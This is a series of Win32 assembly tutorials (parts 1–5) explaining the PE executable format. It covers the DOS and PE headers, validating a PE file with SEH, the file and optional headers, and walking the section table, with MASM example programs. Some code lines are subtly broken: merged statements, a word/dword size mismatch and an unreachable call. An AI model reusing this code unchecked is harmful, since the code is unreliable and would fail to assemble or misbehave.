PE stands for Portable Executable. It's the native file format of Win32. Its specification is derived somewhat from the Unix Coff (common object file format). The meaning of "portable executable" is that the file format is universal across win32 platform: the PE loader of every win32 platform recognizes and uses this file format even when Windows is running on CPU platforms other than Intel. It doesn't mean your PE executables would be able to port to other CPU platforms without change. Every win32 executable (except VxDs and 16-bit Dlls) uses PE file format. Even NT's kernel mode drivers use PE file format. Thus studying the PE file format gives you valuable insights into the structure of Windows.

Let's jump into the general outline of PE file format without further ado.

DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n

The above picture is the general layout of a PE file. All PE files (even 32-bit DLLs) must start with a simple DOS MZ header. We usually aren't interested in this structure much. It's provided in the case when the program is run from DOS, so DOS can recognize it as a valid executable and can thus run the DOS stub which is stored next to the MZ header. The DOS stub is actually a valid EXE that is executed in case the operating system doesn't know about PE file format. It can simply display a string like "This program requires Windows" or it can be a full-blown DOS program depending on the intent of the programmer. We are also not very interested in DOS stub: it's usually provided by the assembler/compiler. In most case, it simply uses int 21h, service 9 to print a string saying "This program cannot run in DOS mode".

After the DOS stub comes the PE header. The PE header is a general term for the PE-related structure named IMAGE_NT_HEADERS. This structure contains many essential fields that are used by the PE loader. We will be quite familiar with it as you know more about PE file format. In the case the program is executed in the operating system that knows about PE file format, the PE loader can find the starting offset of the PE header from the DOS MZ header. Thus it can skip the DOS stub and go directly to the PE header which is the real file header.

The real content of the PE file is divided into blocks called sections. A section is nothing more than a block of data with common attributes such as code/data, read/write etc. You can think of a PE file as a logical disk. The PE header is the boot sector and the sections are files in the disk. The files can have different attributes such as read-only, system, hidden, archive and so on. I want to make it clear from this point onwards that the grouping of data into a section is done on the common attribute basis: not on logical basis. It doesn't matter how the code/data are used , if the data/code in the PE file have the same attribute, they can be lumped together in a section. You should not think of a section as "data", "code" or some other logical concepts: sections can contain both code and data provided that they have the same attribute. If you have a block of data that you want to be read-only, you can put that data in the section that is marked as read-only. When the PE loader maps the sections into memory, it examines the attributes of the sections and gives the memory block occupied by the sections the indicated attributes.

If we view the PE file format as a logical disk, the PE header as the boot sector and the sections as files, we still don't have enough information to find out where the files reside on the disk, ie. we haven't discussed the directory equivalent of the PE file format. Immediately following the PE header is the section table which is an array of structures. Each structure contains the information about each section in the PE file such as its attribute, the file offset, virtual offset. If there are 5 sections in the PE file, there will be exactly 5 members in this structure array. We can then view the section table as the root directory of the logical disk. Each member of the array is equvalent to the each directory entry in the root directory.

That's all about the physical layout of the PE file format. I'll summarize the major steps in loading a PE file into memory below:

  1. When the PE file is run, the PE loader examines the DOS MZ header for the offset of the PE header. If found, it skips to the PE header.
  2. The PE loader checks if the PE header is valid. If so, it goes to the end of the PE header.
  3. Immediately following the PE header is the section table. The PE header reads information about the sections and maps those sections into memory using file mapping. It also gives each section the attributes as specified in the section table.
  4. After the PE file is mapped into memory, the PE loader concerns itself with the logical parts of the PE file, such as the import table.

The above steps are oversimplification and are based on my own observation. There may be some inaccuracies but it should give you the clear picture of the process.

You should download LUEVELSMEYER's description about PE file format. It's very detailed and you should keep it as a reference.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE Tutorial 2: Detecting a Valid PE File

Tutorial 2: Detecting a Valid PE File

In this tutorial, we will learn how to check if a given file is a valid PE file.
Download the example.

Theory:

How can you verify if a given file is a PE file? That question is difficult to answer. That depends on the length that you want to go to do that. You can verify every data structure defined in the PE file format or you are satisfied with verifying only the crucial ones. Most of the time, it's pretty pointless to verify every single structure in the files. If the crucial structures are valid, we can assume that the file is a valid PE. And we will use that assumption.

The essential structure we will verify is the PE header itself. So we need to know a little about it, programmatically. The PE header is actually a structure called IMAGE_NT_HEADERS. It has the following definition:

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature is a dword that contains the value 50h, 45h, 00h, 00h. In more human term, it contains the text "PE" followed by two terminating zeroes. This member is the PE signature so we will use it in verifying if a given file is a valid PE one.
FileHeader is a structure that contains information about the physical layout of the PE file such as the number of sections, the machine the file is targeted and so on.
OptionalHeader is a structure that contains information about the logical layout of the PE file. Despite the "Optional" in its name, it's always present.

Our goal is now clear. If value of the signature member of the IMAGE_NT_HEADERS is equal to "PE" followed by two zeroes, then the file is a valid PE. In fact, for comparison purpose, Microsoft has defined a constant named IMAGE_NT_SIGNATURE which we can readily use.

IMAGE_DOS_SIGNATURE equ 5A4Dh
IMAGE_OS2_SIGNATURE equ 454Eh
IMAGE_OS2_SIGNATURE_LE equ 454Ch
IMAGE_VXD_SIGNATURE equ 454Ch
IMAGE_NT_SIGNATURE equ 4550h

The next question: how can we know where the PE header is? The answer is simple: the DOS MZ header contains the file offset of the PE header. The DOS MZ header is defined as IMAGE_DOS_HEADER structure. You can check it out in windows.inc. The e_lfanew member of the IMAGE_DOS_HEADER structure contains the file offset of the PE header.

The steps are now as follows:

  1. Verify if the given file has a valid DOS MZ header by comparing the first word of the file with the value IMAGE_DOS_SIGNATURE.
  2. If the file has a valid DOS header, use the value in e_lfanew member to find the PE header
  3. Comparing the first word of the PE header with the value IMAGE_NT_HEADER. If both values match, then we can assume that the file is a valid PE.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

SEH struct
PrevLink dd ?    ; the address of the previous seh structure
CurrentHandler dd ?    ; the address of the exception handler
SafeOffset dd ?    ; The offset where it's safe to continue execution
PrevEsp dd ?      ; the old value in esp
PrevEbp dd ?     ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.2",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
                 db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileValidPE db "This file is a valid PE",0
FileInValidPE db "This file is not a valid PE",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start proc
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
       mov hFile, eax
       invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
       .if eax!=NULL
          mov hMapping, eax
          invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
          .if eax!=NULL
             mov pMapping,eax
             assume fs:nothing
             push fs:[0]
             pop seh.PrevLink
             mov seh.CurrentHandler,offset SEHHandler
             mov seh.SafeOffset,offset FinalExit
             lea eax,seh
             mov fs:[0], eax
             mov seh.PrevEsp,esp
             mov seh.PrevEbp,ebp
             mov edi, pMapping
             assume edi:ptr IMAGE_DOS_HEADER
             .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                add edi, [edi].e_lfanew
                assume edi:ptr IMAGE_NT_HEADERS
                .if [edi].Signature==IMAGE_NT_SIGNATURE
                   mov ValidPE, TRUE
                .else
                   mov ValidPE, FALSE
                .endif
             .else
                 mov ValidPE,FALSE
             .endif
FinalExit:
             .if ValidPE==TRUE
                 invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .else
                invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .endif
             push seh.PrevLink
             pop fs:[0]
             invoke UnmapViewOfFile, pMapping
          .else
             invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
.endif
invoke ExitProcess, 0
start endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
    mov edx,pFrame
    assume edx:ptr SEH
    mov eax,pContext
    assume eax:ptr CONTEXT
    push [edx].SafeOffset
    pop [eax].regEip
    push [edx].PrevEsp
    pop [eax].regEsp
    push [edx].PrevEbp
    pop [eax].regEbp
    mov ValidPE, FALSE
    mov eax,ExceptionContinueExecution
    ret
SEHHandler endp
end start

Analysis:

The program opens a file and checks if the DOS header is valid, if it is, it checks the PE header if it's valid. If it is, then it assumes the file is a valid PE. In this example, I use structured exception handling (SEH) so that we don't have to check for every possible error: if a fault occurs, we assume that it's because the file is not a valid PE thus giving our program wrong information. Windows itself uses SEH heavily in its parameter validation routines. If you're interested in SEH, read the article by Jeremy Gordon.

The program displays an open file common dialog to the user and when the user chooses an executable file, it opens the file and maps it into memory. Before it goes on with the verification, it sets up a SEH:

   assume fs:nothing
   push fs:[0]
   pop seh.PrevLink
   mov seh.CurrentHandler,offset SEHHandler
   mov seh.SafeOffset,offset FinalExit
   lea eax,seh
   mov fs:[0], eax
   mov seh.PrevEsp,esp
   mov seh.PrevEbp,ebp

We start by assuming the use of fs register as nothing. This must be done because MASM assumes the use of fs register to ERROR. Next we store the address of the previous SEH handler in our structure for use by Windows. We store the address of our SEH handler, the address where the execution can safely resume if a fault occurs, the current values of esp and ebp so that our SEH handler can get the state of the stack back to normal before it resumes the execution of our program.

   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   .if [edi].e_magic==IMAGE_DOS_SIGNATURE

After we are done with setting up SEH, we continue with the verification. We put the address of the first byte of the target file in edi, which is the first byte of the DOS header. For ease of comparison, we tell the assembler that it can assume edi as pointing to the IMAGE_DOS_HEADER structure (which is the truth). We then compare the first word of the DOS header with the string "MZ" which is defined as a constant in windows.inc named IMAGE_DOS_SIGNATURE. If the comparison is ok, we continue to the PE header. If not, we set the value in ValidPE to FALSE, meaning that the file is not a valid PE.

      add edi, [edi].e_lfanew
      assume edi:ptr IMAGE_NT_HEADERS
      .if [edi].Signature==IMAGE_NT_SIGNATURE
         mov ValidPE, TRUE
      .else
         mov ValidPE, FALSE
      .endif

To get to the PE header, we need the value in e_lfanew of the DOS header. This field contains the file offset of the PE header, relative to the file beginning. Thus we add this value to edi and we get to the first byte of the PE header. It's this place that a fault may occur. If the file is really not a PE file, the value in e_lfanew will be incorrect and thus using it amounts to using a wild pointer. If we don't use SEH, we must check the value of the e_lfanew against the file size which is ugly. If all goes well, we compare the first dword of the PE header with the string "PE". Again there is a handy constant named IMAGE_NT_SIGNATURE which we can use. If the result of comparison is true, we assume the file is a valid PE.
If the value in e_lfanew is incorrect, a fault may occur and our SEH handler will get control. It simply restores the stack pointer, bsae pointer and resumes the execution at the safe offset which is at the FinalExit label.

FinalExit:
   .if ValidPE==TRUE
      invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .else
      invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif

The above code is simplicity itself. It checks the value in ValidPE and displays a message to the user accordingly.

   push seh.PrevLink
   pop fs:[0]

When the SEH is no longer used, we dissociate it from the SEH chain.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE tutorial 3: File Header

Tutorial 3: File Header

In this tutorial, we will study the file header portion of the PE header.

Let's summarize what we have learned so far:

  • DOS MZ header is called IMAGE_DOS_HEADER. Only two of its members are important to us: e_magic which contains the string "MZ" and e_lfanew which contains the file offset of the PE header.
  • We use the value in e_magic to check if the file has a valid DOS header by comparing it to the value IMAGE_DOS_SIGNATURE. If both values match, we can assume that the file has a valid DOS header.
  • In order to go to the PE header, we must move the file pointer to the offset specified by the value in e_lfanew.
  • The first dword of the PE header should contain the string "PE" followed by two zeroes. We compare the value in this dword to the value IMAGE_NT_SIGNATURE. If they match, then we can assume that the PE header is valid.

We will learn more about the PE header in this tutorial. The official name of the PE header is IMAGE_NT_HEADERS. To refresh your memory, I show it below.

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature is the PE signature, "PE" followed by two zeroes. You already know and use this member.
FileHeader is a structure that contains the information about the physical layout/properies of the PE file in general.
OptionalHeader is also a structure that contains the information about the logical layout inside the PE file.

The most interesting information is in OptionalHeader. However, some fields in FileHeader are also important. We will learn about FileHeader in this tutorial so we can move to study OptionalHeader in the next tutorials.

IMAGE_FILE_HEADER STRUCT
Machine WORD ?
NumberOfSections WORD ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader WORD ?
Characteristics WORD ?
IMAGE_FILE_HEADER ENDS

Field name | Meanings
Machine | The CPU platform the file is intended for. For Intel platform, the value is IMAGE_FILE_MACHINE_I386 (14Ch). I tried to use 14Dh and 14Eh as stated in the pe.txt by LUEVELSMEYER but Windows refused to run it. This field is rarely of interest to us except as a quick way of preventing a program to be executed.
NumberOfSections | The number of sections in the file. We will need to modify the value in this member if we add or delete a section from the file.
TimeDateStamp | The date and time the file is created. Not useful to us.
PointerToSymbolTable | used for debugging.
NumberOfSymbols | used for debugging.
SizeOfOptionalHeader | The size of the OptionalHeader member that immediately follows this structure. Must be set to a valid value.
Characteristics | Contains flags for the file, such as whether this file is an exe or a dll.

In summary, only three members are somewhat useful to us: Machine, NumberOfSections and Characteristics. You would normally not change the values of Machine and Characteristics but you must use the value in NumberOfSections when you're walking the section table.
I'm jumping the gun here but in order to illustrate the use of NumberOfSections, I need to digress briefly to the section table.

The section table is an array of structures. Each structure contains the information of a section. Thus if there are 3 sections, there will be 3 members in this array. You need the value in NumberOfSections so you know how many members there are in the array. You would think that checking for the structure with all zeroes in its members would help. Windows does use this approach. You can verify this fact by setting the value in NumberOfSections to a value higher than the real value and Windows still runs the file without problem. From my observation, I think Windows reads the value in NumberOfSections and examines each structure in the section table. If it finds a structure that contains all zeroes, it terminates the search. Else it would process until the number of structures specified in NumberOfSections is met. Why can't we ignore the value in NumberOfSections? Several reasons. The PE specification doesn't specify that the section table array must end with an all-zero structure. Thus there may be a situation where the last array member is contiguous to the first section, without empty space at all. Another reason has to do with bound imports. The new-style binding puts the information immediately following the section table's last structure array member. Thus you still need NumberOfSections.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE Tutorial 4: Optional Header

Tutorial 4: Optional Header

We have learned about the DOS header and some members of the PE header. Here's the last, the biggest and probably the most important member of the PE header, the optional header.

To refresh your memory, the optional header is a structure that is the last member of IMAGE_NT_HEADERS. It contains information about the logical layout in the PE file. There are 31 fields in this structure. Some of them are crucial and some are not useful. I'll explain only those fields that are really useful.

There is a word that's used frequently in relation to PE file format: RVA
RVA stands for relative virtual address. You know what virtual address is. RVA is a daunting term for such a simple concept. Simply put, an RVA is a distance from a reference point in the virtual address space. I bet you're familiar with file offset: an RVA is exactly the same thing as file offset. However, it's relative to a point in virtual address space, not a file. I'll show you an example. If a PE file loads at 400000h in the virtual address (VA) space and the program starts execution at the virtual address 401000h, we can say that the program starts execution at RVA 1000h. An RVA is relative to the starting VA of the module.
Why does the PE file format use RVA? It's to help reduce the load of the PE loader. Since a module can be relocated anywhere in the virtual address space, it would be a hell for the PE loader to fix every relocatable items in the module. In contrast, if all relocatable items in the file use RVA, there is no need for the PE loader to fix anything: it simply relocates the whole module to a new starting VA. It's like the concept of relative path and absolute path: RVA is akin to relative path, VA is like absolute path.

Field | Meanings
AddressOfEntryPoint | It's the RVA of the first instruction that will be executed when the PE loader is ready to run the PE file. If you want to divert the flow of execution right from the start, you need to change the value in this field to a new RVA and the instruction at the new RVA will be executed first.
ImageBase | It's the preferred load address for the PE file. For example, if the value in this field is 400000h, the PE loader will try to load the file into the virtual address space starting at 400000h. The word "preferred" means that the PE loader may not load the file at that address if some other module already occupied that address range.
SectionAlignment | The granularity of the alignment of the sections in memory. For example, if the value in this field is 4096 (1000h), each section must start at multiples of 4096 bytes. If the first section is at 401000h and its size is 10 bytes, the next section must be at 402000h even if the address space between 401000h and 402000h will be mostly unused.
FileAlignment | The granularity of the alignment of the sections in the file. For example, if the value in this field is 512 (200h), each section must start at multiples of 512 bytes. If the first section is at file offset 200h and the size is 10 bytes, the next section must be located at file offset 400h: the space between file offsets 522 and 1024 is unused/undefined.
MajorSubsystemVersion MinorSubsystemVersion | The win32 subsystem version. If the PE file is designed for Win32, the subsystem version must be 4.0 else the dialog won't have 3-D look.
SizeOfImage | The overall size of the PE image in memory. It's the sum of all headers and sections aligned to SectionAlignment.
SizeOfHeaders | The size of all headers+section table. In short, this value is equal to the file size minus the combined size of all sections in the file. You can also use this value as the file offset of the first section in the PE file.
Subsystem | Tell in which of the NT subsystem the PE file is intended for. For most win32 progs, only two values are used: Windows GUI and Windows CUI (console).
DataDirectory | An array of IMAGE_DATA_DIRECTORY structures. Each structure gives the RVA of an important data structure in the PE file such as the import address table.

[Iczelion's Win32 Assembly Homepage]


Iczelion's PE Tutorial 5: Section Table

Tutorial 5: Section Table

Download the example.

Theory:

Up to this tutorial, we learned about the DOS header, the PE header. What remains is the section table. A section table is actually an array of structure immediately following the PE header. The number of the array members is determined by NumberOfSections field in the file header (IMAGE_FILE_HEADER) structure. The structure is called IMAGE_SECTION_HEADER.

IMAGE_SIZEOF_SHORT_NAME equ 8

IMAGE_SECTION_HEADER STRUCT
Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)
union Misc
PhysicalAddress dd ?
VirtualSize dd ?
ends
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?
IMAGE_SECTION_HEADER ENDS

Again, not all members are useful. I'll describe only the ones that are really important.

Field | Meanings
Name1 | Actually the name of this field is "name" but the word "name" is an MASM keyword so we have to use "Name1" instead. This member contains the name of the section. Note that the maximum length is 8 bytes. The name is just a label, nothing more. You can use any name or even leave this field blank. Note that there is no mention of the terminating null. The name is not an ASCIIZ string so don't expect it to be terminated with a null.
VirtualAddress | The RVA of the section. The PE loader examines and uses the value in this field when it's mapping the section into memory. Thus if the value in this field is 1000h and the PE file is loaded at 400000h, the section will be loaded at 401000h.
SizeOfRawData | The size of the section's data rounded up to the next multiple of file alignment. The PE loader examines the value in this field so it knows how many bytes in the section it should map into memory.
PointerToRawData | The file offset of the beginning of the section. The PE loader uses the value in this field to find where the data in the section is in the file.
Characteristics | Contains flags such as whether this section contains executable code, initialized data, uninitialized data, can it be written to or read from.

Now that we know about IMAGE_SECTION_HEADER structure, let's see how we can emulate the PE loader's job:

  1. Read NumberOfSections in IMAGE_FILE_HEADER so we know how many sections there are in the file.
  2. Use the value in SizeOfHeaders as the file offset of the section table and moves the file pointer to that offset.
  3. Walk the structure array, examining each member.
  4. For each structure, we obtain the value in PointerToRawData and move the file pointer to that offset. Then we read the value in SizeOfRawData so we know how many bytes we should map into memory. Read the value in VirtualAddress and add the value in ImageBase to it to get the virtual address the section should start from. And then we are ready to map the section into memory and mark the attribute of the memory according to the flags in Characteristics.
  5. Walk the array until all the sections are processed.

Note that we didn't make use the the name of the section: it's not really necessary.

Example:

This example opens a PE file and walks the section table, showing the information about the sections in a listview control.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_SECTIONTABLE equ 104
IDC_SECTIONLIST equ 1001

SEH struct
PrevLink dd ? ; the address of the previous seh structure
CurrentHandler dd ? ; the address of the new exception handler
SafeOffset dd ? ; The offset where it's safe to continue execution
PrevEsp dd ? ; the old value in esp
PrevEbp dd ? ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.5",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileInValidPE db "This file is not a valid PE",0
template db "%08lx",0
SectionName db "Section",0
VirtualSize db "V.Size",0
VirtualAddress db "V.Address",0
SizeOfRawData db "Raw Size",0
RawOffset db "Raw Offset",0
Characteristics db "Characteristics",0

.data?
hInstance dd ?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?
NumberOfSections dd ?

.code
start proc
LOCAL seh:SEH
   invoke GetModuleHandle,NULL
   mov hInstance,eax
   mov ofn.lStructSize,SIZEOF ofn
   mov ofn.lpstrFilter, OFFSET FilterString
   mov ofn.lpstrFile, OFFSET buffer
   mov ofn.nMaxFile,512
   mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
   invoke GetOpenFileName, ADDR ofn
   .if eax==TRUE
      invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
      .if eax!=INVALID_HANDLE_VALUE
         mov hFile, eax
         invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
         .if eax!=NULL
            mov hMapping, eax
            invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
            .if eax!=NULL
               mov pMapping,eax
               assume fs:nothing
               push fs:[0]
               pop seh.PrevLink
               mov seh.CurrentHandler,offset SEHHandler
               mov seh.SafeOffset,offset FinalExit
               lea eax,seh
               mov fs:[0], eax
               mov seh.PrevEsp,esp
               mov seh.PrevEbp,ebp
               mov edi, pMapping
               assume edi:ptr IMAGE_DOS_HEADER
               .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                  add edi, [edi].e_lfanew
                  assume edi:ptr IMAGE_NT_HEADERS
                  .if [edi].Signature==IMAGE_NT_SIGNATURE
                     mov ValidPE, TRUE
                  .else
                     mov ValidPE, FALSE
                  .endif
               .else
                  mov ValidPE,FALSE
               .endif
FinalExit:
               push seh.PrevLink
               pop fs:[0]
               .if ValidPE==TRUE
                  call ShowSectionInfo
               .else
                  invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
               .endif
               invoke UnmapViewOfFile, pMapping
           .else
               invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
  .endif
  invoke ExitProcess, 0
  invoke InitCommonControls
start endp

SEHHandler proc uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
   mov edx,pFrame
   assume edx:ptr SEH
   mov eax,pContext
   assume eax:ptr CONTEXT
   push [edx].SafeOffset
   pop [eax].regEip
   push [edx].PrevEsp
   pop [eax].regEsp
   push [edx].PrevEbp
   pop [eax].regEbp
   mov ValidPE, FALSE
   mov eax,ExceptionContinueExecution
   ret
SEHHandler endp

DlgProc proc uses edi esi hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
   LOCAL lvc:LV_COLUMN
   LOCAL lvi:LV_ITEM
   .if uMsg==WM_INITDIALOG
      mov esi, lParam
      mov lvc.imask,LVCF_FMT or LVCF_TEXT or LVCF_WIDTH or LVCF_SUBITEM
      mov lvc.fmt,LVCFMT_LEFT
      mov lvc.lx,80
      mov lvc.iSubItem,0
      mov lvc.pszText,offset SectionName
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,0,addr lvc inc lvc.iSubItem
      mov lvc.fmt,LVCFMT_RIGHT
      mov lvc.pszText,offset VirtualSize
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,1,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset VirtualAddress
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,2,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset SizeOfRawData
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,3,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset RawOffset
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,4,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset Characteristics
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,5,addr lvc
      mov ax, NumberOfSections
      movzx eax,ax
      mov edi,eax
      mov lvi.imask,LVIF_TEXT
      mov lvi.iItem,0
      assume esi:ptr IMAGE_SECTION_HEADER
      .while edi>0
         mov lvi.iSubItem,0
         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Misc.VirtualSize
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].VirtualAddress
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].SizeOfRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].PointerToRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Characteristics
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         inc lvi.iItem
         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw
   .elseif
      uMsg==WM_CLOSE
         invoke EndDialog,hDlg,NULL
   .else
      mov eax,FALSE
      ret
   .endif
   mov eax,TRUE
   ret
DlgProc endp

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS
   mov ax,[edi].FileHeader.NumberOfSections
   movzx eax,ax
   mov NumberOfSections,eax
   add edi,sizeof IMAGE_NT_HEADERS
   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi
   ret
ShowSectionInfo endp
end start

Analysis:

This example reuses the code of the example in PE tutorial 2. After it verifies that the file is a valid PE, it calls a function, ShowSectionInfo.

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS

We use edi as the pointer to the data in the PE file. At first, we initialize it to the value of pMapping which is the address of the DOS header. Then we add the value in e_lfanew to it so it now contains the address of the PE header.

   mov ax,[edi].FileHeader.NumberOfSections
   mov NumberOfSections,ax

Since we need to walk the section table, we must obtain the number of sections in this file. That's the value in NumberOfSections member of the file header. Don't forget that this member is of word size.

   add edi,sizeof IMAGE_NT_HEADERS

Edi currently contains the address of the PE header. Adding the size of the PE header to it will make it point at the section table.

   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi

Call DialogBoxParam to show the dialog box containing the listview control. Note that we pass the address of the section table as its last parameter. This value will be available in lParam during WM_INITDIALOG message.

In the dialog box procedure, in response to WM_INITDIALOG message, we store the value of lParam (address of the section table) in esi, the number of sections in edi and then dress up the listview control. When everything is ready, we enter a loop which will insert the info about each section into the listview control. This part is very simple.

      .while edi>0
         mov lvi.iSubItem,0

Put this string in the first column.

         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax

We will display the name of the section but we must convert it to an ASCIIZ string first.

         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi

Then we display it in the first column.
We continue with this scheme until the last value we want to display for this section is displayed. Then we must move to the next structure.

         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw

We decrement the value in edi for each section processed. And we add the size of IMAGE_SECTION_HEADER to esi so it contains the address of the next IMAGE_SECTION_HEADER structure.

